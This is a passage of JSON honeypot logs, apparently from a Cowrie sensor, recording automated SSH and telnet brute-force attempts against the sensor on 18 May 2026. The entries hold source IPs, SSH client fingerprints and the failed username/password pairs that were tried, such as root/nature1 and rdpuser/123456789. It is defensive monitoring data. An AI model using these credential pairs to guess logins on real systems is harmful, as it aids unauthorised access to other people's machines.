"none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:08.409918Z","src_ip":"50.7.136.106","session":"7bbe326c5cdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"Wangsu@2017","message":"login attempt [cloud/Wangsu@2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:08.657412Z","src_ip":"50.7.136.106","session":"7bbe326c5cdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46556,"dst_ip":"10.17.0.5","dst_port":23,"session":"0df1b9f81d6a","protocol":"telnet","message":"New connection: 152.42.224.71:46556 (10.17.0.5:23) [session: 0df1b9f81d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:09.014991Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":33512,"dst_ip":"159.203.135.109","dst_port":22,"session":"61bbfe5339a5","protocol":"ssh","message":"New connection: 45.156.87.69:33512 (159.203.135.109:22) [session: 61bbfe5339a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:09.527481Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:09.744071Z","src_ip":"50.7.136.106","session":"7bbe326c5cdd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:09.754542Z","src_ip":"45.156.87.69","session":"61bbfe5339a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:09.759412Z","src_ip":"45.156.87.69","session":"61bbfe5339a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456789","message":"login attempt [rdpuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:10.327754Z","src_ip":"45.156.87.69","session":"61bbfe5339a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:11.536495Z","src_ip":"45.156.87.69","session":"61bbfe5339a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.72083234786987,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:11.976809Z","src_ip":"152.42.224.71","session":"9750d6d0c664","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":33518,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfedf8303483","protocol":"ssh","message":"New connection: 45.156.87.69:33518 (159.203.135.109:22) [session: bfedf8303483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:13.449196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:13.532714Z","src_ip":"45.156.87.69","session":"bfedf8303483","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:13.656459Z","src_ip":"45.156.87.69","session":"bfedf8303483","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nature1","message":"login attempt [root/nature1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:14.279363Z","src_ip":"45.156.87.69","session":"bfedf8303483","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:15.431667Z","src_ip":"45.156.87.69","session":"bfedf8303483","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":53794,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e470c3d92c9","protocol":"ssh","message":"New connection: 45.156.87.69:53794 (159.203.135.109:22) [session: 4e470c3d92c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:17.247240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:17.252850Z","src_ip":"45.156.87.69","session":"4e470c3d92c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:17.365674Z","src_ip":"45.156.87.69","session":"4e470c3d92c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"password","message":"login attempt [test/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:17.883174Z","src_ip":"45.156.87.69","session":"4e470c3d92c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:19.105106Z","src_ip":"45.156.87.69","session":"4e470c3d92c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":53808,"dst_ip":"159.203.135.109","dst_port":22,"session":"eca3928ad2a6","protocol":"ssh","message":"New connection: 45.156.87.69:53808 (159.203.135.109:22) [session: eca3928ad2a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:20.954357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:21.070527Z","src_ip":"45.156.87.69","session":"eca3928ad2a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:21.074690Z","src_ip":"45.156.87.69","session":"eca3928ad2a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mauricio","password":"123456","message":"login attempt [mauricio/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:22.358545Z","src_ip":"45.156.87.69","session":"eca3928ad2a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.99435114860535,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:23.521417Z","src_ip":"152.42.224.71","session":"781dc0741a3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:23.701773Z","src_ip":"45.156.87.69","session":"eca3928ad2a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.04558062553406,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:24.736769Z","src_ip":"152.42.224.71","session":"43e7132e5d68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":53810,"dst_ip":"159.203.135.109","dst_port":22,"session":"17e322460bd1","protocol":"ssh","message":"New connection: 45.156.87.69:53810 (159.203.135.109:22) [session: 17e322460bd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:24.995090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:25.001386Z","src_ip":"45.156.87.69","session":"17e322460bd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:25.095713Z","src_ip":"45.156.87.69","session":"17e322460bd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alfred","password":"alfred","message":"login attempt [alfred/alfred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:25.511112Z","src_ip":"45.156.87.69","session":"17e322460bd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:26.620674Z","src_ip":"45.156.87.69","session":"17e322460bd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":44060,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b4182eece25","protocol":"ssh","message":"New connection: 45.156.87.69:44060 (159.203.135.109:22) [session: 9b4182eece25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:28.748965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:28.757057Z","src_ip":"45.156.87.69","session":"9b4182eece25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:28.874444Z","src_ip":"45.156.87.69","session":"9b4182eece25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"benjamin","password":"benjamin","message":"login attempt [benjamin/benjamin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:29.481927Z","src_ip":"45.156.87.69","session":"9b4182eece25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:30.568840Z","src_ip":"45.156.87.69","session":"9b4182eece25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":59354,"dst_ip":"10.17.0.5","dst_port":22,"session":"acf8ebd06183","protocol":"ssh","message":"New connection: 89.108.118.91:59354 (10.17.0.5:22) [session: acf8ebd06183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:30.665276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:30.670476Z","src_ip":"89.108.118.91","session":"acf8ebd06183","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:30.807033Z","src_ip":"89.108.118.91","session":"acf8ebd06183","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nikita007","message":"login attempt [root/nikita007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:31.210146Z","src_ip":"89.108.118.91","session":"acf8ebd06183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:32.347274Z","src_ip":"89.108.118.91","session":"acf8ebd06183","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":44066,"dst_ip":"159.203.135.109","dst_port":22,"session":"5851894326e1","protocol":"ssh","message":"New connection: 45.156.87.69:44066 (159.203.135.109:22) [session: 5851894326e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:32.455329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:50:32.460471Z","src_ip":"45.156.87.69","session":"5851894326e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 